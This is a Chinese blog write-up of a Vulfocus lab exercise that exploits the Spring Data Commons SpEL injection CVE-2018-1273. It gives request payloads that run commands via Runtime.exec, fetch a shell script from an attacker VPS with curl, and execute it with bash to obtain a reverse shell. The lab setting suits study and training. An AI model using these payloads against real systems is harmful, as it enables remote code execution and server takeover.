首页 > 其他分享 >Vulfocus靶场 | spring 代码执行 (CVE-2018-1273)

Vulfocus靶场 | spring 代码执行 (CVE-2018-1273)

时间:2022-08-20 22:57:14浏览次数:69  
标签:getClass Vulfocus spring exec sh 代码执行 Spring password Data

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞复现

访问 /user

随便填写,用户注册

 

 

把最后一行改成payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令代码")]=&password=&repeatedPassword=

想直接ls发现不行

想反弹Shell也不行

 

把shell脚本写成sh文件,开启一个http服务,让它去下载执行

 

然后执行

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/xwl.sh http://vpsip:port/xwl.sh")]=&password=&repeatedPassword=

一开始试了weget,确实下载了,但是不知道怎么不行,所以用了curl

 

下载成功后

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/xwl/sh")]=&password=&repeatedPassword=  

 

 

之前weget的也确实下载上了,但是没反弹回来(可能操作有误)

 

 

 

标签:getClass,Vulfocus,spring,exec,sh,代码执行,Spring,password,Data
From: https://www.cnblogs.com/mlxwl/p/16608973.html

相关文章

  • Vulfocus靶场 | Django SQL注入(CVE-2021-35042)
    漏洞复现这题通关比较简单,但是django这个漏洞还挺出名的,之前在ctf上也遇到过相关的题目\ 直接按照提示,进入了Django报错页面 flag就在里面,直接ctrl+F就能找到......
  • Vulfocus靶场 | webmin 远程代码执行 (CVE-2019-15642)
    描述Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。Webmin1.920及之前版本中的rpc.cgi文件存在安全漏洞。攻击者可借助特制的对象名称利用该漏洞执行代码......
  • Vulfocus靶场 | Druid 任意文件读取(CVE-2021-36749)
    漏洞原理由于用户指定HTTPInputSource没有做出限制,可以通过将文件URL传递给HTTPInputSource来绕过应用程序级别的限制。由于ApacheDruid默认情况下是缺乏授权......
  • Vulfocus靶场 | Metabase geojson任意文件读取漏洞(CVE-2021-41277)
    漏洞描述etabase是一个开源数据分析平台。在受影响的版本中,已发现自定义GeoJSON地图(admin->settings->maps->custommaps->addamap)支持和潜在的本地文件包含(包括环......
  • Vulfocus靶场 | GoCD 任意文件读取漏洞 (CVE-2021-43287)
    漏洞描述GoCD一款先进的持续集成和发布管理系统,由ThoughtWorks开发。(不要和Google的编程语言Go混淆了!)其前身为CruiseControl,是ThoughtWorks在做咨询和交付交付项目时......
  • springMvc32-原生apiSpring MVC过滤器-HiddenHttpMethodFilter
    浏览器form表单只支持GET与POST请求,而DELETE、PUT等method并不支持,spring3.0添加了一个过滤器,可以将这些请求转换为标准的http方法,使得支持GET、POST、PUT与DELETE请求,该过......
  • springMvc33-estful的delete
    创建maven项目就不说了,需要的找我前面的博客pom.xml文件   <projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-ins......
  • springMvc34-restful的put
    创建maven项目就不说了,需要的找我前面的博客pom.xml文件   <projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-ins......
  • springMvc35-jstl的jar包的下载
    .我们在使用spring框架的时候导入jstl标签库需要使用到jstl的jar包,假如没有加入到eclipse的lib目录下,使用alt+/的时候不会有提示,所以我们需要把这个jar包加进来首先登......
  • springMvc36-JavaEE-JSP基础-EL表达式和JSTL标签库(Taglibs)
    EL表达式和JSTL标签库:在JSP页面代替java代码,便于编写一.EL表达式   作用:${}简化脚本表达式<%=%>   j2ee1.4以前版本需指定<%@pageisELIgnored="false......